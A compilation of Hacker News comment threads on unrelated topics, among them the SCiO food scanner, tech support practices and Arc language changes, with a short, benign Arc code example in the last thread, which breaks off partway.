Taking the SCiO Food Analyzer Grocery Shopping - <AUTHOR> http://spectrum.ieee.org/view-from-the-valley/at-work/start-ups/israeli-startup-consumer-physics-says-its-scio-food-analyzer-is-finally-ready-for-prime-timeso-we-took-it-grocery-shopping <comment> xkcd-sucks A few problems with scio:

\- It's reading from (mostly) the surface, not the bulk mass. Not great for heterogeneous things like pills

\- It uses machine learning models on 10-datapoint IR reflectance spectra, meaning it's only useful in a trained regime. It doesn't give information about composition, but instead classifies a sample as a member of a pretty constrained population. So a mystery substance that can't be roughly identified ('vegetable', 'pill' etc) can't be scanned, etc. If nobody's built a model for the thing you're scanning and for the property you want to evaluate, then you're out of luck

\- So, evaluating drugs ("we can distinguish fake from real viagra") is done by looking at the surface coating which typically has no active ingredients (and even if there were, the signal would be washed out by inactive ingredients). The model is basically trained on 10-100 scans of a presumed good viagra pill, or maybe 10-100 different good viagra pills if they felt like it

\- Building models requires purchase of a $250 license in addition to the $250 hardware, which is just ridiculous. Of course they're doing the calculations on their servers, but it still seems really scammy, hostile to developers, and counterproductive to launching an ecosystem of scanning models. The useless 10-point IR "spectra" notwithstanding, I would totally buy one of these if you could use open data and open models supported by a public community.

<comment><USER2> Regarding your last point - check out this youtube vid:

[https://www.youtube.com/watch?v=SfiqdooNBb8](https://www.youtube.com/watch?v=SfiqdooNBb8)

Cheap diffraction grating and a cheap camera; basically, the idea would be to somehow use an IR sensitive camera (most are - at least in the far-mid range), an IR source (maybe an unfocused IR laser diode?), and a diffraction grating.

Ideally for the grating you'd use one for IR - but I haven't found one that wasn't reflective-based (instead of transmissive) - there's probably a good reason (likely having to do with cheap materials and IR absorption - which is why lenses and mirrors for laser cutters tend to be pretty pricey).

Anyhow - thems the basics. Take that, get an image from the camera, run a fourier transform on the data, get the peaks, then pass it thru a trained CNN (?) - heck, you might be able to forgo the transform part and just use the data from the camera directly (repurpose imagenet or something).

Yeah - I think this whole thing could be made an open-source project; probably even an instructable...? At the very least, it could become an interesting science fair project for some enterprising kid...

<comment><USER3> > At the very least, it could become an interesting science fair project for > some enterprising kid

As that "enterprising kid" who couldn't wait until the SCiO was completed, and who was fed up with his 3d printed visible light spectroscope, I put in a lot of research effort figuring out how to go about creating a portable, financially attainable NIR spectroscope. I started out thinking it would be fairly straightforward since I already worked on creating CCD sensor driver boards in my early highschool years (after all it just seemed like you'd need a linear CCD with no IR-cut filter, a diffraction grating, a prism with 95%+ reflectivity, and an IR emitter with a peak wavelength of ~920nm). I invested about 6 months working through the various roadblocks I encountered until I managed to get half-decent results from it when taking the spectrum of various salts. Still never managed to fully refine it since I didn't have the budget to (Heck the Eagle schematics I sent off to a PCB fabricator were so poorly- designed that in order to get it to work correctly it required me to solder a wire across two traces to prevent the sensor from blowing up). It's still somewhere in one of my drawers and is a fun novelty item (and it did win (second?) place at my junior science fair) but at least with my design, it really wasn't the portable tricorder I was hoping for...

<comment><USER4> Hamamatsu (Japanese optical engineering company) is offering micro- spectrometer heads, which are quite affordable (at least those for VIS spectrum) and easy to work with and they are much more precise than other DIY solutions.

<comment> xkcd-sucks Are there competitors/shanzhaied versions out yet? A cursory google search of MEMS nir specs turns up a few hits.

<comment><USER5> Not shanzhaied, but another alternative spectrum sensor for VIS/NIR(390nm - 1000nm) is nanolambda NSP32. www.nanolambda.net

<comment><USER4> I checked datasheet and resolution is something like 25nm, not that great for most common application. Those Hamamatsu micro-heads are about 14nm (which is still not good), commercial benchtop instruments around 4nm.

</comment></comment></comment></comment></comment></comment></comment><comment><USER6> Interesting, though I fear if this becomes mainstream, the producers will just optimize food for good readings. Does that mean good food? I would bet not. It's the same as with roses which nowadays look beautiful, but smell like - nothing. Unless they put a drop of perfume on it (which they sometimes do).

<comment><USER7> I read about Red Delicious apples a while back. Everyone I've met hates them so why do they have such a bold name? Turns out back in the day they were delicious, but farmers have aimed towards making larger and redder apples at the expense of taste so now we have beautiful red delicious apples that taste like ass and have the texture of apple sauce.

</comment></comment><comment><USER8> > While the initial applications surround food, Sharon says that the > technology is not just for checking out food freshness and nutritional > information; it's good at analyzing body fat, and distinguishing real > pharmaceuticals from their fake counterparts. "We've done a demo that > distinguishes real Viagra from fake Viagra," says Sharon. "That's the most > commonly counterfeited drug."

Now _that 's_ interesting. I wonder if they've considered marketing it as a way of testing the purity of illegal drugs?

<comment><USER9> > The user starts out by simplifying the problem a bit by identifying the > category of the item to be examined—it's not "What fruit is this," but, > "This is an apple, is it any good?" Consumer Physics' cloud-based software > then taps into its knowledge base, for an apple, it defines "good" as > "sweet" (hence the Brix measurement), and considers an apple's typical range > of sweetness based on thousands of scans. A graphic on the phone then places > the apple on a quality range.

The important data and algorithms are held in their servers, not in the phone app. This gives them a lot of control and responsibility over the models, leading me to believe that they wouldn't store data on illegal drugs.

I also feel it's kind of scummy to keep this on the server. There is no reason that this functionality couldn't be offline and on the phone, except to let them charge you monthly for the hardware you're effectively leasing from them, rather than letting you use the device you own.

Also, I expect if this does take off that someone will replace their app's phone home behavior and sever-side components with an equivalent on localhost. Slightly later will be the cloned scanners that plug into the app. They should focus on providing higher-quality and higher-accuracy scanners than competition can achieve, rather than trying to lock out competitors.

<comment> xkcd-sucks I mean, somebody could just build a model in which "Cocaine" is renamed "thiotimoline" or something, unless they already have data on known illegal drugs. On the other hand, government agencies will use better equipment so the only way that would happen would be if they were specifically trying to catch people using their device on Bad things

</comment></comment></comment><comment><USER10> this article is worthless "I can't verify the accuracy of what I was seeing" ... "But it certainly seemed real" when did the ieee become a clickbait, advertisement machine.

<comment><USER11> Exactly my thought as well. Hacker news isn't very discerning with this one.

</comment></comment><comment><USER12> While initially skeptical myself, I found a bit of information on Consumer Physics' site stating that they use near-infrared spectroscopy. Doing a little initial research, it seems plausible that they could glean a number of useful traits from agricultural products, including soluble solids (i.e. sugar content in fruits), acidity, moisture content and more.

[https://www.consumerphysics.com/myscio/technology/](https://www.consumerphysics.com/myscio/technology/)

[https://en.wikipedia.org/wiki/Near- infrared_spectroscopy#Agr...](https://en.wikipedia.org/wiki/Near- infrared_spectroscopy#Agriculture)

[http://www.intechopen.com/books/developments-in-near- infrare...](http://www.intechopen.com/books/developments-in-near-infrared- spectroscopy/using-near-infrared-spectroscopy-in-agricultural-systems)

<comment><USER13> NIR could give information about the scanned surface, though in this case it's apparently a low quality/low signal NIR sensor. For this app it was originally pitched as a magic device that could identify anything, but in the shipped product you not only have to tell it the category of item you're scanning, in many cases it gives very little information (e.g. doesn't identify an orange as an orange), and that information seems highly suspect and of questionable accuracy regardless.

Everything about this campaign has been dubious. One of the first videos of an "unboxing" was a close friend of the creator who, after deleting his video, went around posting comments about how it was just "good fun" and "innovation takes years", etc. Every demo of the product is a staged example of very low hanging fruit, pardon the pun. The actual utility of this device seems deeply suspect.

</comment></comment><comment><USER14> The article says "Consumers in China, Sharon points out, are particularly interested in checking food safety, given the history of problems with the food supply." Is there any reason to think that the most common problems with food safety would be detectable with this sensor?

I don't doubt it's possible there could be some correlation, but it seems like a big leap from estimating carbohydrate content to detecting food-borne illness or contamination. A quick google turns up this comment[1] (of uncertain reliability!) saying most food safety issues are caused by toxic animals or plants, pathogenic microorganisms, or chemical contamination.

[1] [https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4500434/](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4500434/)

<comment> xkcd-sucks Most nasty stuff is present in vanishingly small quantities compared to all the other crap in biomaterial, which is why most contaminant testing involves an extraction step, or even extraction+fractionation, before spectrometry.

Somewhat relatedly, inorganic ions don't have nir activity, only their complexes with organic counterions have nir activity. And there are like a gazillion different things that complex with lead/mercury/etc. in unpurified biomaterial, so direct nir measurements of a sample are not a productive approach.

That being said, it would certainly be a big moneymaker if placebo contaminant detectors became a thing with Chinese consumers like surgical masks for smog

</comment></comment><comment><USER13> I am deeply skeptical of this product and find it bizarre that the IEEE would have an article with so little regiment -- basically a hyped up PR piece. Why wouldn't the author use the device themselves, without someone with a profound bias controlling the show?

<comment><USER15> The only solid info I seemed to get out of this article, is that it's a sugar- content analyzer paired with a food database.

<comment><USER16> It's not a sugar-content analyzer -- though it can do that. It is a consumer grade NIR spectroscope that pairs with a smart phone. Whether that will prove to be useful or not is up for debate but the capability for consumers seems truly novel to me.

</comment></comment></comment><comment><USER17> This article is damning the product with faint praise. It's basically worthless for the purpose they use it.

</comment><comment><USER18> Awesome! I can see hobbyists buying some of these then setting up online review hubs for each city, labelling the quality of produce in each store / farmer's market produce section when they go out on their 'measurement' excursions.

<comment><USER17> except the values will change from day to day as providers change their source mixes. nobody really cares what the exact sugar or protein content of their fruits is. It doesn't correlate with "quality".

<comment><USER8> > nobody really cares what the exact sugar or protein content of their fruits > is

I disagree here - as someone on a ketogenic diet, the sugar content of food is extremely important to me. Labelling standards are abysmal, too; it's legal to market something as "0g carbohydrates" if there is less than a 0.5g carbs per serving. Considering that serving sizes can be very small, that can be extremely misleading.

For instance - a bag of pork rinds may be listed as 0g carbs, even going so far as marketing that fact on the front of the bag, while the third ingredient by weight is sugar. If the bag claims that there are 20 servings, then the only real information you have is that there are less than 10g of carbs in the bag. When you're on a diet that limits you to 20g per day, that's a huge problem.

<comment><USER17> This device does not have the accuracy to provide you with the information you need.

</comment></comment></comment></comment><comment><USER19> I think most vegetables covered in some protective layer, they don't even smell. You have to cut them open to properly use spectrometer in that case you can just taste them.

</comment><comment><USER5> There is another alternative that looks like more of a solid tool. www.nanolambda.net

anyhow spectral sensing could be one of the main stream for IoT sensing

</comment><comment><USER20> haha, funny layout on big screens: 3/4 of page filled with other articles.

<comment><USER21> Yep, perfect use case for 'Click to Remove Element' extension.</comment></comment>


For Men, Playing Video Games Associated With Relationship Conflict - <AUTHOR> http://blog.socialsci.com

<comment><USER2> Spending more time doing X is correlated with spending more time talking about X?

Spending more time talking about X is correlated with spending more time arguing about X?

Spending more time arguing is correlated with higher relationship conflict?

All completely obvious results, strung together with logical fallacies to conclude that video games are correlated with relationship conflict. Although I do have to give the article credit for not implying causation—wait, they do, never mind.

For example, I can assure you that: 1) men who cook more also talk about cooking more, 2) men who talk about cooking more (all other things, including amount talked about in other areas, equal) argue about cooking more, and 3) men who argue about cooking more (all other things, including levels of argument in other areas, equal) exhibit more physical aggression towards their partners. Using the exact same logic, I can conclude that cooking causes relationship abuse.

<comment><USER3> Do women who cook talk about cooking more? Do women argue about it more? Why is it different for one sex than the other?

<comment><USER4> To play devil's advocate, women who play video games may be more likely to be with boys who play video games, or otherwise have a partner that can identify with having a time consuming and less than social hobby, one that is also mostly designed to cater to men.

</comment></comment></comment><comment><USER5> No way! The people that play video games are the ones that argue about playing video games? I completely expected those not playing video games to be the ones being chided for their game playing.

<comment><USER6> I think the point was that when women played games more, that didn't result in an additional problem or conflict in the relationship.

</comment></comment><comment><USER7> I feel like this same effect could apply to most things that are "addicting". When something is taking time away from a relationship, it is most likely going to cause problems.

Things that cause similar problems in excess: Porn, Sports, Friends, Alcohol, Drugs, Consistent but time consuming hobbies like surfing, Startups ...

What I am getting at is that basically anything could cause similar problems, though the exact side-effects could be slightly different because of differing situations.

Growing up in a small surfing community, I witnessed surfing to be a pretty common relationship problem. Many were so addicted to surfing that they wouldn't spend enough time with their families.</comment>


Semisupervised Learning Approaches (Tom Mitchell) - <AUTHOR> http://videolectures.net/mlas06_mitchell_sla/

<comment><USER2> Tom Mitchell's Machine Learning book (<http://www.cs.cmu.edu/~tom/mlbook.html>) is the one book from college that I go back to again and again.</comment>


Ask HN: The word App is in Apple. Was that a conscious decision by its founders? - <AUTHOR> I never thought about it, but then it's just so obvious. Was this decision a conscious one? I can't find it on Google. If so, that's pretty clever.
This would imply that the naming of Apple is based on the word "application" which might be slightly far-fetched.
Brandname generation: pick a word (abbreviate or not) then find a word similar to it, pick that as your logo, provided it's not something terrible. <comment><USER2> Apple was founded in 1976. There was no idea of downloadable apps back then.

From a Woz interview in 1984:

 _" [Steve Jobs] was working from time to time in the orchards up in Oregon. I thought that it might be because there were apples in the orchard or maybe just its fructarian nature. Maybe the word just happened to occur to him. In any case, we both tried to come up with better names but neither one of us could think of anything better after Apple was mentioned."_

[https://archive.org/stream/byte- magazine-1984-12/1984_12_BYT...](https://archive.org/stream/byte- magazine-1984-12/1984_12_BYTE_09-13_Communications#page/n463/mode/2up)

</comment><comment><USER3> "According to Steve Jobs, the company's name was inspired by his visit to an apple farm while on a fruitarian diet. Jobs thought the name "Apple" was "fun, spirited and not intimidating"" [https://en.wikipedia.org/wiki/Apple_Inc.#Corporate_identity](https://en.wikipedia.org/wiki/Apple_Inc.#Corporate_identity)

</comment><comment><USER4> As I recall growing up "application" was a popular Macintosh marketing term to make software sound cooler than being just some boring "program". (PCs run programs - Macs run applications!) It was shortened to apps later likely with the iPhone and the app store.

</comment><comment><USER5> We didn't have "applications" back then, we had "programs".

<comment><USER6> I'd love a citation on that. Not to prove you right/wrong, I'd just love to see the definitive etymology of "Application" to describe software. I'm trying to remember what 'software' was called in the mainframe docs I looked at back then.

Wikipedia says: `The first modern theory of software was proposed by Alan Turing in his 1935 essay Computable numbers with an application to the Entscheidungsproblem (decision problem).[2]`, but I think that was being used as a verb, not noun.

<comment><USER5> Actually, I think I know a little about the etymology. There was (and is) "systems programming" and "application programming". I suspect the term "application" comes from there.

</comment></comment></comment><comment><AUTHOR> Thanks for the answers, that seems like a fun coincidence then!</comment>


We created a "QuoteBot" to get customer feedback to engineers - <AUTHOR> http://blog.armory.io/what-our-customers-are-saying-about-spinnaker/ <comment><AUTHOR> Super simple but surprisingly effective. Helps product & engineering understand what pain customers are expressing.

Happy to detail how we set it up if anyone wants to try it in their org.</comment>


Parse, Don't Validate - <AUTHOR> https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-validate/ <comment><USER2> To me, this is the highlight of this post:

      Consider: what is a parser? Really, a parser is just a
      function that consumes less-structured input and
      produces more-structured output. By its very nature, a
      parser is a partial function—some values in the domain
      do not correspond to any value in the range—so all
      parsers must have some notion of failure. Often, the
      input to a parser is text, but this is by no means a
      requirement (...)

Then, the title of the post could be: _Leverage the type system to represent your data, not validating it post-facto_

<comment><USER3> Or, "make invalid state unrepresentable".

<comment><USER4> That's a great phrase from [https://blog.janestreet.com/effective-ml- revisited/](https://blog.janestreet.com/effective-ml-revisited/)</comment></comment></comment>


Why Tech Support Is Purposely Unbearable - <AUTHOR> http://www.nytimes.com/2016/07/04/technology/why-tech-support-is-purposely-unbearable.html <comment><USER2> Coming from a tech support background. I used to be a top performer at a support company and set most of the records for call times etc. I was hated by most of my peers, and many of my supervisors because I set numbers to low for most of the other teams and they were under preforming. I am not saying this to brag but to state how awful most support workers are. Most of my co-workers had no idea what they were doing besides reading off a script, any question outside of the box and boom, off to tier 2.

One problem is: I found that the quicker I answered questions the more questions I received. If the customer knew that I knew what I was doing and I was able to help them efficiently they had more questions. This led me to ponder how to solve the problem. I ended up getting my supervisor to create a FAQ page based on a ton of the questions that I was constantly asked. I was then able to refer customers to this page and actually say honestly that it would answer their questions.

A lot of the problem with these tech giants like ATT, Comcast, etc, they have horrible interfaces. For example Comcast has on demand, but once you watch a show you have to literally go back and search for the TV show name again before you can watch the next episode. It's horrible. I called multiple times trying to figure out how to get around this. They said there is no fix and it is how the system works. I googled it and millions of people have the same issue. It's absurd, yet they haven't fixed it. I don't think they even care, or it cost them money for customers to watch on demand so they want to make it as aggravating as possible.

Another interesting aspect of being able to help people quickly is you never get good reviews or people asking to speak to your supervisor. People are so pleased that they were able to get their answer solved in a manner they could understand in a really fast time they just breath a big sigh of relief and say "thank you so much", and then get off the phone.

I had co-workers who would spend 20-30 minutes on the phone with someone sitting there trying to explain something to them, and since they were so patient, the customer always asked to speak to supervisor to thank them for their patience. For some reason the customer always thinks they are the problem in this situation. It really boggles my mind.

Just a view.

<comment><USER3> > For example Comcast has on demand, but once you watch a show you have to > literally go back and search for the TV show name again before you can watch > the next episode.

Netflix and HBO are similarly terrible. There's no way for me to click on an actor's name and see all the films he's been in, nor navigate and see a studio's corpus. This sort of thing _should_ be table stakes, but for some reason it's not.

<comment><USER4> My conspiracy theory lately has been that Netflix's search and basic UI is terrible on purpose, to make us not notice the shifts and declines in the streaming catalog quality. For the life of me I can't imagine why else they would ignore calls to improve it.

<comment><USER2> I subscribe to netflix once a year and binge watch all my favorite shows during the holidays. I tried staying subscribed to them, but their UI is so bad I never know what is new and what isn't. Why can't they have a list of newly added shows that isn't a huge picture. I don't enjoy horizontal scrolling.

<comment><USER5> Instantwatcher.com is your answer, with direct links to watch on netflix.

<comment><USER6> The sliders for dates and ratings are awesome.

Now that's how you do a UI.

And they're running this for free, while Amazon and Netflix are supposed to be spending billions on this.

</comment></comment></comment></comment></comment></comment><comment><USER7> I like "Fast Customer", which waits on hold for you. I was thinking of something like that years ago, and was going to call it "Holdmaster". It makes sense as an app; pre-smartphone, it would have required a box attached the phone line.

Microsoft once had customer support lines where you could call in for about $195, but if it was their bug, you got a refund. Fun gamble.

<comment><USER8> Microsoft still does though it hasn't been $195 in quite some time. The offering you're thinking of is called Professional Pay-Per-Incident (instead of Premier). Current price is $499 though you're guaranteed to spend virtually the entirety of your incident on the phone with an outsourcer in India.

[https://support.microsoft.com/en- us/gp/offerprophone](https://support.microsoft.com/en-us/gp/offerprophone)

<comment><USER9> Most of the Premier engineers are in India as well.

If they're outsourced, they are a very good outsourcer. I have had many good experiences with them.

<comment><USER10> The turnover in call centers in India I quite high. If you are getting a knowledgable engineer in India they are probably getting near US wages.

</comment></comment></comment></comment><comment><USER11> It's worse when you have the exact problem laid out and the customer support guy knows less about the product than you do. Two years ago, I talked to the Dell Customer Support about my failing hard drive and showed him the tests I ran to verify it.

He: What do you mean by failing hard drive? Is it not booting?

I showed him bad sectors in my hard drive.

He: Is the problem solved?

I: No! You have done literally nothing to solve my problem.

He: But your laptop is booting now, right?

I: Yes, it is, for now. But it won't in a few days.

He: I think your laptop has no problem. Have a good day.

I did take a backup and my hard drive did fail completely a week later. So much for tech support.

<comment><USER12> One of the reasons I stopped buying Apple products was this type of interaction. I had a Macbook Air, and it would freeze up randomly for several seconds at a time. There were no error messages or anything, and finally found out when I tried to upgrade the OS that it wouldn't install on the drive because it was failing. Eventually I figured out how to find the SMART status, and took it in since it was under warranty.

The rep kept trying to get me to reinstall the OS since "if that's the problem, they'd have to charge me for it". Never mind that the installer wouldn't run... After about 15 minutes of this back and forth with him trying to prove that nothing was wrong and me showing the SMART status, he finally went in back and asked someone who told him to take it in.

</comment></comment><comment><USER13> >To get better service by phone, dial the prompt designated for "sales" or "to place an order," which almost always gets you an onshore agent, while tech support is usually offshore with the associated language difficulties.

I ended up doing something similar the other day. I wanted to cancel my TV service, and was considering upgrading my internet speed. I called in and chose the option to cancel a service. I was on hold for 30 minutes.

I had to hang up and then called back a little later, but this time I asked for "upgrades". I got someone _immediately_. He was a little non-plussed when I immediately asked to cancel a service, but didn't scold me. I did then upgrade my speed.

</comment><comment><USER14> _" The most egregious offenders are companies like cable and mobile service providers, which typically have little competition and whose customers are bound by contracts or would be considerably inconvenienced if they canceled their service. Not surprisingly, cable and mobile service providers are consistently ranked by consumers as providing the worst customer support."_

UK: significant problem with adsl broadband, kept going round in circles over a period of weeks, was advised _by the tech support_ to phone the sales number and ask to cancel contract. Issue escalated in minutes and solved in an hour.

Apparently customer _retention_ has higher priority to customer _support_.

</comment><comment><USER15> ""It's utterly maddening because the thing about conversations is that when I say something to you, I believe I'm having influence on the conversation,"

....

"AT&T, Comcast and Verizon Communications did not respond to requests for comment."

</comment><comment><USER16> I worked tech support for 6 years for a large telco in the northeast it was the most miserable, mundane part of my life. They were so poorly managed and so focused on bottom line that customers wants and needs were not important. Helping customers was the least important thing as long as you didn't talk to them for more than 8 minutes and you didn't appear to be rude.

<comment><USER17> >>They were so poorly managed and so focused on bottom line that customers wants and needs were not important.

That's because tech support is regarded as a "cost center", where the primary goal is always to keep costs to a minimum. This is why most support centers prioritize making the customer go away rather than actually solving their problems, documenting the issues and working with other teams to find permanent fixes.

<comment><USER18> And this is why shrink wrapped software sucks. Having worked in that industry, customer service gets a call: "The application crashed and corrupted my save file!", "How many seats have you purchased?", "Seat? I just bought one copy for myself.", "Thank you for reporting the bug. Please buy the next version to see if the bug is fixed". Of course, developers never even get the bug because the customer only bought 1 copy. I never saw a bug from a customer that bought less than 200 copies :-(

</comment></comment></comment><comment><USER19> The article focuses mostly on big incumbents. If you're in more of a startup mindset doing awesome support has tremendous ROI.

<comment><USER20> From the scriptures: [http://paulgraham.com/ds.html](http://paulgraham.com/ds.html)

<comment><USER21> Ermm.. I always thought while it read fine, it also assumes that you'll eventually find a way to make those things scale.(be it automation, guided voice faq ? etc..). Doing things that don't scale is a good way a to corner portions of a market with big and established players, but not enough. aka necessary but not sufficient.

<comment><USER20> The point is, as a startup, try to blow your customers' minds, including with excellent support (agrees w/parent). It acknowledges that there may be some difficulty in scaling it (agrees w/sibling), but statistically you're unlikely to get big enough to have to worry about that (especially if you don't provide excellent support), so don't worry about it, just do it. And if you ever get to that point, you might find it scales better than you thought it would (agrees with you).

</comment></comment></comment></comment><comment><USER22> A smaller response time actually leads to more requests from customers IMHO. Customers are more likely to contact you for "mundane" tasks when they are assured of a quick response.

<comment><USER23> This might be true. When I worked at a helpdesk, I was given praise for having the fastest call times on the floor. In the same review though, I was critiqued just as strongly for not being personal enough. It was and telling.

</comment></comment><comment><USER24> Reminded me of Julie Snyder's ten month battle with MCI over immense charges she never incurred. Agents seemed to make up new offices and procedures to assure her that her issue had been elevated and this time it would be different.

It was only fully resolved after she put the story on This American Life.

[http://www.thisamericanlife.org/radio- archives/episode/253/t...](http://www.thisamericanlife.org/radio- archives/episode/253/the-middle-of-nowhere?act=2)

</comment><comment><USER25> A solution? The good ol' government regulation. If companies 'cannot' achieve acceptable standards of customer support service, those standards should be imposed on them. This game where ordinary customers are so often the victims must be put to an end.

<comment><USER26> That's hilarious! Having run a few call centers, the costs involved in upping service levels from, say, 80% of calls answered in 20 seconds to, say, 98% in 10 seconds, grow geometrically.

If regulations were passed that mandated service levels, many companies would take Google's approach and simply not offer phone support at all. And we all know how great their support is.

The solution is to not use any services from monopolies, as the article points out. But of course, that's impossible for most people.

<comment><USER27> Uh, if there were mandated service levels then Google would have to live up to those too...? Presumably this would be an acceptable-or-you-get-fined deal, not an acceptable-or-nothing-at-all deal.

<comment><USER28> It will be hard to argue (esp. in front of judges) for SLAs on free services.

</comment></comment></comment></comment><comment><USER29> Reading the article and comming accross the obviously true line of "Don't think companies haven't studied how far they can take things in providing the minimal level of service" this came to my mind: [https://www.youtube.com/watch?v=YfkPcTNnGNk](https://www.youtube.com/watch?v=YfkPcTNnGNk)

</comment><comment><USER30> Both Hover and Squarespace have amazing, wonderful, useful tech support. They are selling somewhat technical products to what are, at best, a "power user" level of customer. They make it work.

<comment><USER31> Rackspace is amazing as well. Which they advertise, but it's 100% true.

</comment></comment><comment><USER32> For examples of excellent Tech. Support, I recommend GoDaddy, Infusionsoft, Managed.com (PowerDNN). These people know their stuff. And they speak English.

For execrable support, see Google.

<comment><USER33> I don't know why I keep seeing this comment on HN, but Google has good support for all paid products.

<comment><USER34> Probably because there are different experiences with different Google products. Apps for Education Customers, for example, get a working product but very little in the way of support. You can submit whatever you want, but whether Google chooses to answer is another story, not always with a happy ending.

</comment></comment></comment><comment><USER35> A differentiation should be made between b2b and b2c. B2b support is way better with much higher SLA's.

<comment><USER36> Yes. I currently work in b2b tech support (well, its my last week). The job is better and service much different that described in this article -- SLA response times are enforced, but there is expectation that some tickets will take hours over the phone, sometimes over days.

The main issues are retention and hiring people with the right knowledge and/or ability to learn. New hires are often useless for months on the phone, and the most talented people jump ship even after aggressive promotions. Both issues fundamentally come down to pay.

</comment></comment><comment><USER37> Clever headline. Almost makes you think the NYTimes is telling the truth. But the places I've worked, the desire was always to resolve the phone calls one and done. Get the answer, get them resolved so they don't have to call back. The conspiracy theory the NYT is cooking up is clickbait.

<comment><USER10> That hasn't been my experience. Worked a few tech support jobs and the big ones wanted the call finished in 8 minutes no matter the outcome. Now, they would tell you to resolve the issue, wink wink, but your performance was based only on call time.</comment></comment>


Visualising Networks Part 1: A Critique - <AUTHOR> http://yro.ch/visualising-networks-part-1-a-critique/ <comment><USER2> For what it's worth, we're regularly working with 100K-1MM element graphs over at github.com/graphistry/pygraphistry , e.g., for analyzing IT operations & security events. Most tools force analysts to start from ~scratch and don't scale, but that's solvable :)

</comment><comment><USER3> I'm the cofounder of a systems and network mapping service (kumu.io) and I can't agree more. Although our primary focus is on systems mapping we also work with a lot of networks. We're constantly reminding our users that the network itself is not the deliverable. Large networks must be reduced to communities / metrics or unfolded piece-by-piece if you want people to actually gain something from them. We have a built in presentation builder to help with that process but a lot of people are just too lazy. I cringe when customers propose 3D as the solution instead.</comment>


Borders announces pre-orders for 150 USD Kobo e-reader - <AUTHOR> http://www.borders.com/online/store/MediaView_koboereader

<comment><AUTHOR> Tech specs link: [http://www.borders.com/online/store/MediaView_koboereaderspe...](http://www.borders.com/online/store/MediaView_koboereaderspecs)

1 GB, SD slot, USB, Bluetooth (good move). No specs about the screen, except for overall device measures in a small picture. Looks like a 5 inch Vizplex e-ink screen, which is normally 800x600 pixels. (Good for fiction, not advisable for technical documents.)

<comment><USER2> I found the comparisons page more useful than the tech specs page:

<http://www.koboereader.com/comparisons.html>

Oh, yeah: I googled it and ended up on Kobo's site rather than Borders'.

<comment><AUTHOR> Thanks - I was wrong, it's the 6 inch screen (also 800x600, normally). I have one of those (Hanlin, branded BeBook). Fine for fiction, as I said, not too big, but I might not mind a 5 inch if buying now.

P.S. vs. the Kindle: Amazon tosses in a 3G modem, but remember it's _their_ line, on their dime. It's a loss-leader, to get customers into the store. Outside the US, only English Wikipedia is free, as far as I can tell. (Not that you can pay to access anything else, besides the store - it's not your line ...)

<comment><USER2> The specs for this one say it supports ePub and PDF. USB file transfer, or plug in an SD card. That's pretty attractive to me (especially at this price point). No native text, rich text, or graphic support, it seems, but I guess I could mash what I need into ePUB or PDF.

I also wonder whether it will be hackable.

I'd like to try an e-reader, but I'm not particularly interested in playing the price of a netbook. Plus, I've always preferred the Borders stores over B&N (if I'm restricted to a big box book store); the staff are helpful and, at least at a couple of the stores in my area, long term -- I kind of hope the latter means that management treats them ok.

<comment><AUTHOR> I wouldn't count too much on hackable, though you might look up what's going on at <http://openinkpot.org> . Those things are usually ARM Linux, I believe.

Just the reading material over at <http://www.feedbooks.com/books/recent> has tidied me up nicely - worth the price of the reader ;-). Check also over at <http://www.mobileread.com/> , they also have opinions and their own books.

(I used to go to Borders when they first expanded in the US - nice stores.)</comment></comment></comment></comment></comment>


Ask HN: Is the Hacker News Team Actively Developing Arc? - <AUTHOR> Is the Hackernews Team @YC actively developing Arc? If so what important developments have they made? <comment><USER2> Nearly all our development has been on the HN application rather than on Arc itself. Of course, in a Lisp, the line between application and language is blurred. Many of our changes have a language-like quality, but because they're implemented in macros, they haven't involved modifying Arc itself.

We did make one change to Arc proper: we added syntax for binding thread-local variables in function signatures, analogous to how optional arguments are declared. This adds a limited kind of dynamic scoping to Arc. That is useful when you have some 'top level' state (e.g. the basic parameters involved in making an HN web request: username, item id, etc.) that you'd like not to have to pass down every chain of function calls that's going to need it at some point. We originally added this as an experiment to see whether it would simplify or complicate the code. It simplified it very nicely, so we kept it. I can describe this in more detail later if anyone's interested.

<comment><USER3> > _" I can describe this in more detail later if anyone's interested._"

Yes, please.

BTW, that was some of the best nerd sniping I've seen.

[https://xkcd.com/356/](https://xkcd.com/356/)

<comment><USER2> Ok. What I'll describe is a common problem in web programming (and other kinds of programming too) that most people here will probably recognize. We ended up modifying Arc to make the code that has this problem simpler. We weren't sure how well it would turn out, but in the end it was a net win and we kept it.

Consider the following function from [https://github.com/arclanguage/anarki/blob/master/lib/news.a...](https://github.com/arclanguage/anarki/blob/master/lib/news.arc), which is similar to what HN looked like before our change. I've added comments beneath the code to explain the relevant bits.

      (def user-name (user subject)
        (if (and (editor user) (ignored subject))
             (tostring (fontcolor darkred (pr subject)))
            (and (editor user) (< (user-age subject) 1440))
             (tostring (fontcolor noob-color* (pr subject)))
            subject))

      ; Print colored usernames for editors, plaintext otherwise.
      ; 'user' is the account that sent this request, or nil if logged out
      ; 'subject' is the user whose name we need to print out

For example, if you've requested the front page, then 'user' is your account name at the top right of the page (or nil if you're not logged in), and 'subject' is the account name of a submitter of a story on the page. If we're printing a story that says "218 points by tokenadult", then 'subject' is "tokenadult".

Now, go back and notice how the only thing the function 'user-name' does with its argument 'user' is pass it to another function, 'editor'. That function looks like this:

      (def editor (u)
        (and u (or (admin u) (> (uvar u auth) 0))))

      ; Return whether user 'u' has editor privileges

'user-name' calls 'editor' to find out whether the currently logged-in user should see usernames in special colors that non-editors don't get to see.

This example is typical of HN's code. Every request to the site involves a set of standard variables, like 'user', that last for the lifetime of the current page request. (Two others are the page being requested and the requesting IP.) HN has lots of functions (like 'editor') that need one or more of these variables, but it has even more functions (like 'user-name') which don't need any of them, but make calls to other functions that do. In the code above, both types of argument—the "transient" one ('user') that is merely passed down the chain, and the "real" one ('subject') that is actually used—appear in the function signature.

This can lead to confusing function signatures, since it isn't clear which arguments are the "real" ones. There's even an example of such confusion in the code above. The function is called 'user-name' and its first argument is 'user', so you'd naturally assume—I always assumed, reading the code—that the name to be printed is that of 'user'. Wrong! It's 'subject'. This kind of thing can, and did, lead to bugs.

Many web frameworks bundle all the request properties (like 'user') into a Request object, and pass the Request around everywhere or keep it around as a field. That works fine; there are lots of ways of solving this problem. Still, it would be nice to know from a function's signature exactly what state it does and doesn't use.

